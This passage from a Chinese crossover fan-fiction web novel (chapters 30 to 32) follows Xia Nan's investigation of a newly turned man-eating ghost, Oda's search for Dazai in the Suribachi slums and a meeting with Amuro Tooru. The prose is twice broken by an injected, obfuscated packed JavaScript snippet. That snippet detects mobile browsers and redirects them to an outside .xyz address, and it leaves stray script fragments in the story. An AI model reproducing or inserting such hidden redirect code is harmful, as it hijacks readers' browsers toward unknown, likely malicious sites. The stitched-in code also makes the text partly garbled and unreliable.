于是警务人员们的视线又齐刷刷的看向了‘果然知道’的夏楠。 夏楠无视了或探究或震惊的各种视线,对着床下山本,再次开口,“出来。” “不……不行,”拒绝夏楠的要求对山本来说似乎很艰难,可他忍耐扑向人类的进食欲望已经耗尽了全身的力气,他怕自己一但有什么动作,岌岌可危的平衡就会被打破,“我怕……我不想变成怪物……” 一但忍不住真的伤人,就回不去了——不知道为什么,山本对这一点十分笃定。 对各类诡异传说和恐怖怪谈涉猎极广的山本对自己的现状把握倒是挺到位,在咬过第一个人以后能做到顺利清醒并控制自己,说明意志力也十分坚定。 是个挺不错的青年。 夏楠稍微放软了一点语气,“没事,你不会有机会伤人。” 乍一听像是安抚的话,搭配上夏楠嘴角的微笑和平铺直叙没什么起伏的语气,完全就是恐吓。 坂口安吾占据了一个拍摄角度不错的角落,内心默默——果然在生气。 “出来,别让我说第三次。” 坂口安吾并警务人员们:…… 明明说话轻声细语的,怎么莫名给人一种好凶的感觉。 山本:……嘤。 他磨磨蹭蹭的从床底爬出来,在一种警员们严阵以待的戒备下,伸出手,抓住了床头的栏杆。 栏杆扭曲了。 想抓个什么东西帮助自己抗住进食欲望的山本:…… 现场诸人:…… “站着别动。” 山本乖乖站着了。他全身的肌肉紧绷,很明显在竭力忍耐,也确实没有再动。 夏楠蹲下身,掀开被丢在地上的被子,从地上、之前山本蹲坐着时,脚前方的位置,捡起了一根透明的管子。管子有三个头,外壁很干净,里面有一点残留的液体。 “是静脉留置管。” 夏楠看向说话的警官,对方点了点自己的耳麦。 夏楠又看向已经空无一物的输液架。 “山本,还记得都有谁进来过么?” 山本的呼吸声有些大,看起来状态不太好,忍的很艰难的样子,但他依旧回答了夏楠的问题,“不记得了,我醒来的时候,在咬人。” 夏楠又看了一眼手中的留置管。 “走吧,先出去。” 警官点了点头,示意戒备的警员们让开一条路,先让夏楠他们离开。 夏楠向外走去。 “……老大。” 身后传来山本的声音,“……老大,我会好起来的,对吗?” 不是作为一个怪物,而是作为一个人。 夏楠停住脚步,他再次看了眼手里的留置管。目前为止,他所接触过鬼化的人,基因会倾向鬼的特性,包括血肉离开本体会化作灰烬消散这个特点,因此,留置管外壁上很干净。 修长的手指拨动那三个触须一样的分叉,手的主人脸上的笑收敛了一秒,又复回归。 “当然,”夏楠说道,“你会好起来的。” 山本得到肯定的答复,紧紧咬着嘴唇的尖齿刺破了皮肤,长出非人尖锐指甲的手捏成了拳头。 “嗯。” 他说。 坂口安吾跟在夏楠身后走出病房,鬼使神差的,他回过身,拍了一下病房内山本紧绷的背影。 “联系东京警视厅吧。” 夏楠开口,他拿出电话,“会有专门的部门过来接手。” 在双方对话里出现‘食人’这个罕见的词汇以后,已经料想到事情发展的警官倒是没什么负面情绪,只要不是军警就行。 他只是问,“那几个接触过他的人……” “我的建议是,先留着,”夏楠回答,“还有山本送入病房到发现异常期间的所有监控,拷贝一份。” “好。” 夏楠给宇髄天元发了个短讯。 警官走到一旁打电话,坂口安吾悄咪咪和异能特务科联系,夏楠则是找了个位置坐下。他的注意力重新投注在自己那个没什么用的系统上面,只是这次,不是为了打发时间。 进度条已经走了七分之二,员工栏日益充盈。 没有任务,没有终点。 夏楠看向重新闭合的病房房门。 里面是一个刚刚鬼化的青年,他的鬼化特征十分明显,肉眼就可以分辨。 夏楠又想起不久前见到的港口黑手党首领……哦,现在是前首领了……初见的时候,那位前首领的外表与普通人类无异。之前的委托过程中,那位老者和青年转化的鬼,鬼化特征也很明显。 前首领是唯一的特例。 造成这种差异的是什么?进食? 如果这是一场有预谋的‘投/毒’,其目的是什么?‘投/毒’的人又会在哪里? 这些人,是他的实验对象,还是他做这一切,单纯只是为了报社? 他想起了之前看到的,前首领的储备粮们。他人记忆中的人对夏楠来说观察价值不高,除了超忆症患者以外,没什么人能够做到对别人脸上的每一条肌肉走向,每一根细纹都印象深刻。 假设前首领的进食方向是有选择的,会是什么人,告诉他这种进食方法的呢? 假设前首领同样是那个人的实验对象之一,那么,那个人又是如何收集实验数据的呢?区别于普通人,作为港口黑手党的boss,他的住所,守备可谓森严。 是熟人。 不会是森鸥外。 ……那个急匆匆赶来最后被扣了好大一口锅的干部? 夏楠靠在了椅背上。 干他这一行的,讲究因果。对他来说,因果是绑缚在身上,连接常世的线。无端穿越这种事,放在别人身上或许有可能出现,但放在他身上…… “……夏目先生?” 一道声音将夏楠从沉思中唤醒,他看向出声的方向。 是井下朋花,她的身侧是站着小岛田。 井下朋花见夏楠看自己,问道,“山本他……怎么样?” 夏楠眨了眨眼。 对哦,还有个委托来着。 …… ……委托? 夏楠的目光重新在闭合的门板上聚焦。 灵异事件,委托。 说起来,那些人选择的实验对象,究竟是基于什么样的标准来筛选的? 夏楠站了起来。 “井下小姐,我记得你之前提到过,还有几名去过之前山本租住过的房间的人?” 井下朋花点点头,其实她也不是很清楚具体情况。她看向同样去过的小岛田,眼神示意对方回答。 小岛田:“对,还有两个,都是山本在灵异现象研究社认识的朋友。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15703682|171794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “他们将你们去过那里的事发到了网上?” “对,”小岛田掏出手机,捣鼓一阵,翻出了一个帖子,他调转手机屏幕,将手机递给夏楠,“就是这个。” 夏楠接过手机扫了一眼,是文字帖。内容添油加醋的描述自己和朋友的‘探灵’经历,阅读量不高。帖子里毫无隐私保护意识的暴露了自己的学校和专业,以及当时参与‘探灵’的人数。 已经到了有心人随便一查就能具体锁定到人头的程度。 他将手机递还给小岛田,“他们现在在哪?” “听别人说,好像是参加了个什么徒步俱乐部。” “不在横滨?” 小岛田和井下朋花对视一眼,“我们来之前打听过,说是一周前就离开了。” “叫什么名字,可以联系到么?” 井下朋花和小岛田在夏楠的一连串询问中意识到了不对。小岛田立刻回答,他的身上已经没有了之前那种敏感易受惊的样子,夏楠就在眼前,周围又全是警察,没有比这更让人有安全感的地方了。 “一个叫五十岚,另一个……”小岛田回忆了一下,“……三宅,”他重复了一遍,“没错,三宅。” “有照片么?” “额……”小岛田再次点开手机,“……我记得山本那家伙好像发过他们研究社的合照……”他的手指在屏幕上快速滑动,过了一会儿,“……找到了!” 小岛田将手机第二次递给夏楠,夏楠没接,“图片保存,发给这位警官。” 去打电话的警官已经回来了,他走到夏楠身边,左右看看,“这是……” 夏楠问小岛田,“哪两个人?” 小岛田赶忙指给他们看。 夏楠言简意赅,“一周前离校,至今未归,和山本参加同一个社团,”他示意警官接收图片,“很可能是凶手的下一个目标。” 警官神色一凛,“我明白了,”他立刻就要安排人去查,又想起自己来找夏楠的目的,“东京警视厅那边的人很快就到,夏目先生,您看您是在这里等,还是……” “我的助手会在这里。” “那这个……”警官指了指夏楠捏在手里的那节预留管。 “助手会直接交给他们。” 在得到夏楠的答复以后,警官留了一队人守门,自己暂时离开。 夏楠对着不远处一副兢兢业业的模样全程摄像不离手的坂口安吾招了招手。 “来,安吾君。” 坂口安吾现在就特别听不得安吾君这种称呼,总觉得夏楠一这么叫他,他就得被扒出点小秘密来。 虽然其实也没什么秘密好扒了。 “拿好。” 坂口安吾小心翼翼的接过对方手里的预留管,作为经常接触这一类现场物证的人员,他当然知道这小小的预留管里那一点仿佛错眼就会消失的液体有多宝贵。 夏楠贴心的将他手中的摄像收到自己手里,冲着他眨了眨眼,“安吾君,请坐。” 明白对方意思的坂口安吾:…… 井下朋花和小岛田也被夏楠安排落座。 坂口安吾推眼镜。 他这种一紧张就会推眼镜的习惯真的不能好了。 条件有限,里面的液体暂时不能碰,但预留管…… 或许可以看到是谁拿走了输液设备。 坂口安吾的瞳孔微微扩散。 【堕落论】 他的眼前飞快闪过手中物品承载的记忆,从患者脖颈处被挤出以后,掉落在地,被子遮挡了一半的视线…… 不,输液架倒在一边,地上没有掉落的设备,这个时间点,已经被人拿走了。 坂口安吾开始向前回溯。 …… 他眨了下眼,终止了自己的异能。 坂口安吾看向夏楠,微微摇了摇头。之前的视野被绷带所遮挡,无法看到外界,并不能确认是谁拿走了输液设备,当然,最主要的,无法确定是什么人做的手脚。 夏楠似乎是料到了这样的情况,他没什么太多表示,只是又对着病房的方向抬了抬下巴。 坂口安吾:? 什么意思,让他直接进去调查? 不好吧…… 耳边传来一声叹息,是夏楠。 摄像被夏楠重新塞回坂口安吾手中,夏楠凉凉的瞥了一眼坂口安吾,成功凭借这一瞥把人瞥出了冷汗。 进门之后特意站在门边,说你没趁机摸过门,织田都不会信。 夏楠站了起来。 “安吾君留下,记得把预留管交给之后来交接的人,”接着,又对井下朋花与小岛田说,“二位,你们暂时跟着安吾君。” “夏目先生这是要……” “单独行动,”夏楠说道,他看向坂口安吾,“对我们的委托人好一点,安吾君。” 坂口安吾:…… 说的他好像是什么会虐待委托人的奇怪家伙似的。 夏楠简单交代完,不等众人反应,转身离开。 探灵社有什么好让人图谋的呢?除了他自己,身为第一助理的织田作之助?和产屋敷有关联的吉川惠子?地下情报贩子榎田?或者……太宰治? 应该都不是。 异能特务科为什么会把坂口安吾送到他手边来呢?真的是因为坂口安吾已经暴露在军警和警视厅的视线下这个理由么? 目前看来,不是。 那么,回归第一个问题,探灵社有什么好让人图谋的呢? 如果刨除现在和过去的因,就只剩下未来的因了。 夏楠掏出手机。 ——有人买过探灵社之后的预约安排么? ——有,小号卖出去过一份。 ——微笑jpg ——…… ——一半,已转。 ——谁买的? ——查过,对方用了跳板,无法物理锁定。 ——连你都查不到? ——…… ——激将对我没用,谢谢。 夏楠已经收起了手机。 井下朋花的下一个预约,是谁来着…… 夏楠回忆了一会儿。 好像,是个什么带色的名字。 异能特务科,是为了那个预约? 总叫他‘顺势’。 第一次顺势,顺出了三方合作,这次的顺势…… 夏楠终于来了些兴趣。 这次的顺势,又会带来什么? 31.三十一 “哟,又是你,你的事情可真多啊。” 宇髄天元依旧开着他那辆不知道从哪里弄来的出租车,带着几乎遮住自己半张脸的遮阳帽,降下车窗,和等在路边的夏楠打招呼。 “好久不见。” 夏楠拉开副驾驶的车门,坐了进去。 “完全不久!”宇髄天元大声反驳,“甚至没有二十四小时!” 夏楠靠在椅背上,放松了些,随口回应,“是么?” 宇髄天元发动车子,他瞥了一眼夏楠,“怎么,东西不好用?” “好用,”不如说,非常好用,“是不死川先生的血?” “当然不是,只有他自己喜欢没事割自己玩,”宇髄天元回答,他很骄傲的挺胸,“产屋敷有自己的血库。” 夏楠有些好奇,“你们是怎么分辨稀血的?” “嗯……” “嗯?” “嗯……”宇髄天元单手摸了摸下巴,“……不知道!” 夏楠:…… 他笑了一声,心头自从确认港口黑手党前首领的特殊状态以后就一直萦绕在心头的那点惴烦,被宇髄天元的表现驱散了一些。 宇髄天元又瞥了一眼夏楠,“我知道那些干什么?” “专业的事,交给专业的人去做就好。” …… “你说的对,”夏楠低低重复,“专业的事,交给专业的人去做。” 宇髄天元奇怪的看夏楠一眼,“怎么?这不是你说过的话么?” “不死川那家伙还说你是这么多年以来他遇见的唯一一个不那么烦人的官方的人。” “我并不是官方的人。” “都一样,”宇髄天元说道,“对我们来说,都一样,”他说着,控制车子转了个弯,“说吧,这次喊我来又有什么事?” “发现了一个新转变的食人鬼。” “我告诉你,我可是很……” 车辆猛的一刹,由于惯性,夏楠略长的头发向前飞舞了一瞬,又落了下来。他的身体分毫未动,依旧保持着靠在椅背上的姿势,脸上的表情淡淡的。 急停使后面跟着的车辆气急败坏的按了两下喇叭,宇髄天元没有理会。他转过头,看向夏楠,“你刚刚说什么?” 夏楠松了松错位的安全带,“我对霓虹还不是很熟悉,需要你的协助,宇髄先生。” “前面那句,什么东西出现了?” “横滨有个地方,叫擂钵街,不知道宇髄先生有没有听说过。” “不要转移话题,它在哪?” 认真起来的宇髄天元看起来有些吓人,高大的身躯配合着那一身肌肉,很有压迫感。 只是这点压迫感,对夏楠来说没什么用处。 他看向宇髄天元,“有人在人为的制造食人鬼,不知道产屋敷,有什么想法?” 宇髄天元:…… 他忽然咧嘴,露出了一个和不死川实弥神似的恶人笑,“小鬼,你知道我是谁么?” 夏楠看了他一会儿。 颜色极深的眼球一动不动。忽然,脸上的肌肉拉扯开,做出了一个和宇髄天元一模一样的表情。 “小鬼,”他说,声音轻飘飘的,重复着宇髄天元的话,“你知道我是谁么?” 明明十分年轻,面容也不是很有威慑力的长相,精致中带着很符合东方审美的疏离感,连发丝,看起来都比一般人柔软。身材也不壮硕,看起来一点都不能打、更不抗揍,是下手前,还得注意控制力道别把人打没了的程度。可就是这样的样子,这样的夏目,说着和自己同样的话,做着和自己相同的表情,宇髄天元却感受到了一种不知来源的,战栗与恐惧。 可怕。 眼前的人,非常可怕。 宇髄天元一愣。 “你……” 你到底…… 夏楠眨了下眼,紧接着,微微合上眼睫,缓了一会儿。 “抱歉,一时没控制住。” 说着,他轻轻叹了口气。 等再次睁开眼睛,那种令人战栗的感觉消失了,探灵社的社长,又恢复了正常的状态。 宇髄天元:…… 眼前的人,不对劲。 “观山不见山,看水不辨水,堕肢体,黜聪明,离形去知……内视己,内视万物……” “则万物生。” 夏楠默念着,嘴唇微动,声音很小。他说的是中文,尽管宇髄天元听力极其敏锐,也无法解其意。 宇髄天元试图去记发音,奈何句子太长。神秘测的家伙总是这样,说些模棱两可的话,做些奇奇怪怪的事。 只是眼前的家伙尤其古怪而已。 海外的传承…… “你是人类么?” 宇髄天元问出了口。 夏楠回过神,眉梢轻挑,“不死川先生也问过同样的话,”他说,“二位不愧是同僚。” “不要回避问题。”宇髄天元的表情依旧很严肃。 夏楠笑了笑,“我是。” 他跳过了之前那段小插曲,重新将话题拉了回来,“宇髄先生,我对这次的事件很感兴趣,非常感兴趣。” “如果我表现的不够明显,那么,在这里,更直接的,”夏楠看着宇髄天元的眼睛,“我要你们调查到的情报,所有。” —————— 织田作之助在擂钵街。 他对这里很熟悉,过去有一段时间,他就住在这里。他对这里又很陌生,擂钵街内部的构造,变化实在有点快,危房,奇怪的自建,还有各种集装箱。只要是能称得上空间的地方,都会被这里的住民利用起来。被利用起来,被抢夺,被摧毁,再重新利用。 那场大爆炸带来的余韵至今没有消除,地面上留下的巨型深坑无人填埋,又建起了许多零零散散的房子。这里成为了各式各样的小帮派、失去一切的失意者、逃离现实的逃避者、躲避通缉的逃犯们聚集的地方,这里是他们唯一可以选择的场所。 罪行无处不在,它们发生在擂钵街的每一个角落。 还有孤儿。 对,还有孤儿。擂钵街最不缺的,就是孤儿。 织田作之助是根据之前所了解到的信息,到这里曾经属于‘地下黑医’森医生的小诊所里来找太宰的,虽然他知道大概率找不到人。 ——坂口安吾在诱导自己过来。 虽然不知道为什么,但……既然过来了,总得有个去处。 横滨最近的局势十分热闹,以港口黑手党那突如其来的、毫无缘由的各种折腾为圆心,几乎将整个横滨的地下世界都拉进了这场声势浩大的漩涡当中。尽管织田作之助自身待在探灵社里并没有什么实感,但他并不是真的察觉不到。太宰想要自己处理好一切的心情,他也完全能够理解。 这样来描述可能有些抽象,毕竟对于他们这种人而言,所谓的恩返、想要为一个人做点什么的心情,几乎能算是鳄鱼的眼泪了。 夏目是不同的。 织田作之助通过几个月的观察,得出了这个结论。尽管表面看起来,夏目就是一个任性了一些的少年人。 姑且称其为来自直觉的判断吧。 夏目不在乎,不在乎什么特别顾问的头衔,不在乎异能特务科,不在乎军警,不在乎警视厅。因为不在乎,所以无所谓,因为无所谓,所以可以陪着他们玩闹。 对,玩闹。 太宰的谋划和心机,他都配合了。千寻到处贩卖他的情报,他无所谓的默许了。自己悄悄截留了许多有意思的邮件,他也从不过问。坂口安吾明明有所图,他依旧把人放进来了。吉川惠子的隐瞒和试探,他也权当没看见。偶尔来了些兴致,会稍微用自己的方式,为他们的‘任性’添加一点夏目式的色彩。 大概只是觉得有趣,又或者,只是觉得无聊。 他在用自己的方式,与世界划清界限。 这个结论,是织田作之助在之前那次委托中,听到夏目提起‘界线’这个词时,忽然福至心灵,得出的。不是所谓‘避世’,更不是什么‘拒绝世界’这样的东西。 夏目在用‘普世’的方式,活自己的人生。 无关他人。 不排斥交往,不介意深入,却从未真正深入。就像是,对夏目来说,人类的世界,分两个部分,一个是他寄居的人类社会,他能在这个社会中扮演一个正常的角色,只因为他愿意。除此之外,他依旧是他自己,夏目自己,就是一个世界。 这听起来有些矛盾。 织田作之助也对自己的这个判断感到诧异,但他依旧相信自己的第六感,自己的直觉。 夏目总是无精打采,能打起精神来做事的时候,大都是出自实在无聊给自己找一点乐子之类的心情。他一直都是这样,无可无不可的态度。 和太宰完全相反的人。 太宰总有股紧迫感,但夏目没有,他就待在那里,等事情发生,然后解决它。 听起来很简单。 探灵社的社员,每一个,都很特别。千寻总说夏目有古怪的收集癖,但织田作之助不这么认为。 他一直记得,夏目邀请自己称为探灵社一员的时候,说的那句话——探灵社,是他建给自己的游乐场。 ——小织,要一起来玩吗? 当时鬼使神差答应的自己,在如今看来,刨除一切理性的部分,剩下的那些不明显的探知欲,或许才是主因。 夏目从一开始,就从未遮掩过自己的‘不同’。 …… 只是这次不一样。 织田作之助站在空荡荡的诊所里,看着眼前堆积成山的尸体。尸体腐烂发出的臭味充斥着房间的每个角落。 不能总仗着他人的不在乎,就去无端的索求,无止境的索求。在这一点上,他们几个的想法大概率是一致的。 要说夏目给他们提供了什么……好像也讲不出具体的东西。 只是这次不一样。 …… 砰—— 门被人一脚踹开,踹门的少年有着一头张扬的橘色卷发。他的目光第一时间就聚焦在了堆积成山的尸体上,他的牙齿用力咬合,力道大到甚至发出了声音。 “就是你吧,那个什么森医生。”少年的眼中几欲喷火,他重重向前塌了一步,在他脚下,地面寸寸龟裂,以这一踏步为中心,蛛网一样的痕迹瞬间扩散。 “你这家伙……你对我的同伴们,都做了些什么啊!!!” 【天衣无缝】 织田作之助侧身躲闪,在少年那带着非人力道的一记肘击落空的瞬间,开口,“我不是森医生。” 少年飞踢过来的腿停在了半空。 “我只是来找人,你认错了。” 少年微微眯了眯眼,他暂时停止了攻击,站直了,“……我怎么知道你说的是不是真的?” “森医生的话,现在应该在港口黑手党,”织田作之助说道,“我不是医生。” 少年上下打量了一下织田作之助,衬衫加西装裤的组合,衣服并不破旧,也很干净。他又看了眼织田作之助的发色,刚刚情绪失控没注意,这会儿才发现,眼前的人并不是黑发。 不是白大褂,不是黑发。 确实认错人了。 少年:…… 他忽然有些局促,扭捏了一会儿,小声,“抱歉,是我太着急了。” 少年的视线在说话间略过那堆早已腐烂的尸体,又像是被针刺一样,迅速收了回来。 “港口黑手党……”咬牙切齿的声音。 少年运了下气,“你找什么人?他叫什么,如果这里……如果这里没有,或许我会知道。” 大概是存了歉意的原因,少年对织田作之助的态度还算不错。当然,更重要的是,他没从织田作之助身上感受到什么敌意。 织田作之助看着眼前的少年,“我的话,来这里找一个叫太宰治的人。” “太宰治?”少年回忆了一下,“我听过这个名字,他不是那个森医生的弟子么?” “嗯,”织田作之助肯定道,“太宰失踪了,我来找他。” “我是他的朋友。” 少年听到这句话,不知道脑补了什么,脸色几下变幻,“那家伙,连自己的弟子也不放过么!” 织田作之助:? 看到眼前男人茫然的脸,少年断定对方什么都不知道,他的眉眼微微压低,没有多解释,“你走吧,那个太宰,他应该不在这里。” 织田作之助却没动。 “可以问一下,这里发生了什么么?” 少年:…… 他的目光再 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只一会儿,他垂落在身侧的手就捏成了拳,“不管是不是嫁祸,那个森医生,肯定知道些什么吧?” 织田作之助想了想,“你说的不错。” “那就对了。” 少年的目光带上了腾腾的杀气,他看向织田作之助,“多谢。” “啊,我并没有做什么。” 织田作之助说着。 就在这时,外面传来了一阵细微的脚步声,两个警惕心都很高的人齐刷刷的看向了门外。 一个东西被扔了进来,那是—— 少年嗤笑一声,飞起一脚将东西重新踢了出去。 砰! 爆炸声在屋外响起。 “你自己找个地方躲起来。” 少年说着,朝着屋外走去。 很少被人说‘找个地方躲起来’的织田作之助:…… 他默默找了个相对安全的地方躲好。 仅仅只是一枚手/雷的爆炸并没有对外面的来人造成多大的伤害,织田作之助听到有人在说话。 “奉首领之命,捉拿‘羊’的首领,中原中也。” 不是异能特务科的人——织田作之助想道——坂口安吾诱导他过来,这里等着的,却不是异能特务科的人,而是未知组织的人,和‘羊’。 外面的那些人,是异能特务科的目标? 还是说,这里的事,只是一场意外?尸/体被运送过来的时间并不久,可能还不到两个小时,如果这些尸/体不是为他准备的,那就是为了那位‘羊’的首领准备的。 织田作之助看了看自己的手心。 应该是意外。 他想。 或许是他找错了地方。 —————— “您好……” 病床上的女性看起来十分消瘦,她的脸颊深深凹陷,眼底一片青灰。 “很抱歉没办法起身迎接。” “不用客气。”夏楠拉过一把椅子,坐在了病床边。宇髄天元抱着双臂,站在病床床尾。 这里是一家精神病院。 “请问,您来这里是……” 夏楠看了一会儿女人的脸,说道,“想询问一下,关于小平市的那栋……”他的话还没说完,小平市三个字仿佛什么不该被提及的词汇,女人忽然缩成了一团,抬手抱住了自己的脑袋,“……那栋出租公寓。” “别,别说,求您……” 夏楠默了默。 “女士,”他伸出手,轻轻放在了女人的肩头,视线划过床边的名牌,补充道,“屋岛朋美女士,不要紧张,我是来解决问题的。” 屋岛朋美没有动,她缩成一团,并不回应。 夏楠看了一眼对方紧紧捂住耳朵的手,“你听到什么了么?” 屋岛朋美抖了一下,过了两秒,她抬起眼,看向了前方。她颤颤巍巍的抬起手,指向了宇髄天元的身后。 宇髄天元:“喂喂,”他回过头看了一眼,“你是想吓本大爷吗?” 夏楠顺着屋岛朋美指的方向看过去——什么都没有。 “那里什么都没有。” 屋岛朋美摇了摇头,收回手。 夏楠:“你看到了什么?” 屋岛朋美不再回答,她抬手捂住脸,开始哭泣。 ——这里的病人,曾经纵火烧了自己的家,据她自己描述,是为了驱赶想要害自己女儿的怪物。 屋岛朋美看上去不像是能够再交流的意思,可他们需要一个确切的地址。 “屋岛女士,我们是来解决问题的,”夏楠又重复了一遍,他的声音拉的很缓很慢,与平时说话的语气完全不同,“告诉我,那栋房子在哪里?” 屋岛朋美只是哭。 夏楠微微凑近,动作轻柔,却不容拒绝的拉开了对方捂着脸的手,他再次说道,“告诉我,那栋房子在哪里。” 屋岛朋美猝不及防的撞进了那对黑漆漆的瞳孔,她哭泣的声音停止了,“……在小平市,冈谷公寓。” 夏楠继续问,“你看到了什么?” 屋岛朋美:…… 她又开始流泪,这一次,却因为夏楠的干涉,没有缩成一团,也没有捂住脸。眼泪簌簌的落下,她开口说道,“没有,我什么都没看到。” “我什么都没看到。” “为什么,为什么我什么都看不到?” 这句质问,与其说是在问别人,不如说,问的是自己。 病院的工作人员并不会向非家属探视人透露太多关于病人的细节,更何况连病院自己都不知道的信息。就算夏楠通过产屋敷的关系弄到了临时的探视许可,也只能通过这种方式,来获得自己想要的答案。 夏楠直起身,松开了手。 宇髄天元不知道什么时候移动到了窗边,他看到夏楠站起来,问道,“要走了?” “嗯。” “去那个什么冈谷公寓?” “对。” “啧,”宇髄天元与夏楠一前一后出了病房,“本大爷可是鼎鼎有名的顶流,顶流,知道吗?现在居然沦落到了驱车司机的地步。” 他看着夏楠的后脑勺,“还有啊,你到底要做什么?” 32.三十二 “好的顶流,麻烦你了,顶流。” 宇髄天元:…… 确实是顶流之一,的确拥有很多粉丝,怎么被夏目这么一说总觉得哪里怪怪的。 他跳过了这个话题,“你到底要做什么?” 夏楠停下脚步,转过身,“让专业的人,去做专业的事,还记得么?” 探灵社的专业是什么? 驱魔除魍。 他是谁? 探灵社的社长。 那么,他要做什么? 宇髄天元理解了一下,接着,摸了摸下巴,“不对,照你这么说,我的专业又和你不一样。” 鬼杀队成立的目标就是诛灭恶鬼,按照这个说法,他该去找只鬼玩。 夏楠眨了下眼,随即歪歪头,“可是你说,你家主公把你借给我了。” “宇髄先生,如您所见,我的社员都很有自己的想法,他们都忙,到处乱跑,丢下我一个社长孤家寡人调查委托。如果连你也离开了,我会很难做啊。” “顶流先生……” 顶流宇髄天元:“……好了你别说了。” 尴尬是尴尬不了一点的,就是从夏目嘴里听见顶流这两个字总觉得不是什么好话。他制止了夏目继续说下去的动作,摆出自己的经典手势,“既然是主公的命令,我就只能勉强、华丽的接受了。” “哦——勉强啊——”夏楠说着,看到宇髄天元僵了一下,笑了笑,“那么,多谢你的勉强。” 宇髄天元:…… “真是不华丽的记忆力,你就不能只记得华丽两个字么?” “抱歉,我比较喜欢记一些更可爱的字眼,”夏楠转过身,继续往外走,“比如‘顶流’……” 正说着,肩膀上多了一条粗壮的胳膊,胳膊的主人目视前方,带着夏楠加快了速度,“冈谷公寓是吧,走走走,磨磨唧唧的,我半小时就能给你送到!” 冈谷公寓位于东京小平市的郊区,是一栋房龄在二十年左右的,专门对外出租的公寓楼。按照他们得到的消息,应该是这样才对,可等两人真正到了地方,看到的却是一片施工地。 夏楠没有下车,只是摇下车窗,隔着警戒线,看向工地里面。那里并没有施工的人在,很安静,不知道具体要建造什么,里面的建筑垃圾甚至都没有清理干净。他的目光在工地上方徘徊,过了一会儿,又看向了周边。 宇髄天元一直在观察夏楠的动作,并没有随意出声打扰。 夏楠:嗯…… 就在夏楠垂眸思索的时候,宇髄天元移开视线,看向了另一侧。 有人过来了。 来人是一名男性,皮肤偏黑,一头金发,看起来像是混血。宇髄天元看出了对方身上的训练痕迹,他不动声色的摇下车窗,抢在那人开口之前打招呼,“哟,小哥,是来要签名的吗?” 金发男性走过来的脚步挺顿了一下,“抱歉,我只是想问个路,毕竟这里……”他环顾四周,“……我走了半天了,都没遇到一个愿意搭理我的行人。” “哈?”宇髄天元抬了抬下巴,“不要签名,那你凑上来干什么?” “不要挡着我看风景,去去去,走开走开,真是个不华丽的家伙。” 金发男性:…… 他憋出一个灿烂的笑,“我只是想问路,这位先生,我刚刚回国不久,对国内的名人不太了解,如果是因为不认识您这件事让您感到冒犯,我向您道歉。” “哦……”宇髄天元停下了升起车窗的动作,“行吧,看在你态度还算不错的份上,”他说,“你要去哪?” 金发男性笑容明媚,“冈谷公寓,听说就在这附近,可我怎么也找不到。” 宇髄天元微微眯眼——也找冈谷公寓,这么巧? 他从不相信巧合。 宇髄天元正要说话,在他的身后,结束思索又旁听了一会儿的夏楠探出一个脑袋。 金发,黑皮,脸不错。 夏楠盯着金发男性那灿烂小奶狗笑的脸看了几秒,视线下移,在对方的腰侧停留一瞬,又回归到男性的脸上。这一眼,刚好与他对上了视线。 金发男性的身体一瞬间紧绷,接着,意识到不能表现的太奇怪,又强迫自己放松。 ——和资料里一样,‘来自深渊的凝视’。 并不知道自己被安了奇怪的中二名头的夏楠开口,“你叫什么?” “唉?是问我么?”金发男性迟疑了一下,“我叫安室透。” “唔。” 夏楠发出一个含混的音阶,“安室透,”他重复着,掏出手机,对着男人的脸来了一张,“你认识一个名字里带颜色的人么?” 克制住自己没有躲开镜头的安室透露出一种被冒犯了的表情,“阁下这是在做什么?未经他人许可擅自拍照是违法行为。” “只是留念,”夏楠说着,重新收起手机,“安室先生对法律很了解?” “只是一个人最基本的认知,”安室透看起来很不满,“这位先生,请你把照片删了。” 夏楠笑了,他笑眯眯的看着安室透,“我不。” 安室透:…… ——很好,和资料里完全一致的‘任性’。 从夏楠出声开始就一直保持安静的宇髄天元开口,“你拍这家伙干什么?是我不够华丽么?”他说着,抬了抬棒球帽的帽沿,“拍我啊,知道外面我的一张照片卖多少钱吗?” 夏楠想了想,还真就在宇髄天元控诉的视线下重新拿出手机,对着他那张好看的脸来了个十连拍。 宇髄天元满意了,他重新把帽沿拉低,“这还差不多,果然,本大爷的脸才是最华丽的。” 莫名其妙被晾到一边的安室透:…… 这两个人真难搞。 他怀疑自己是不是暴露了,可又觉得不可能。 “两位……” “那里就是冈谷公寓,”夏楠看向他,手指示意身后,“阁下找冈谷公寓,是有什么事么?” 安室透正要将自己早就准备好的说辞说出口,就听见眼前这位年轻的过分的探灵社社长接着说,“如果没有什么事,就上车吧。” 安室透:…… 敢问找冈谷公寓和上车之间有什么因果关系? 安室透艰难道,“这……不太好吧?” 宇髄天元看向夏楠,在安室透看不见的角度,冲夏楠挑眉——你确定? 夏楠笑着说,“让他来干活。” 宇髄天元于是又看向车外的安室透,目光审视的在对方身上、特别是四肢,转了一圈,紧接着,他问,“会开车吗?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15714135|171794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 安室透:…… 到现在还看不出来自己已经暴露,他就别做卧底了,真的。 阳光小奶狗脸上的阳光熄灭了。 “会。” 宇髄天元笑了,他果断打开车门,让出了驾驶位,自己去了后排,“那就你开,这小子……”他说着,指了指夏楠,“……这小子说去哪你就开去哪,听明白了么?” 安室透:…… 仅仅是这一会儿的功夫,他的无语次数就已经足够赶上半年的量了。 这两个,完全不按常理出牌的家伙。 安室透坐进驾驶室,宇髄天元没拔车钥匙,于是他顺势发动车辆。 “我是怎么暴露的?” 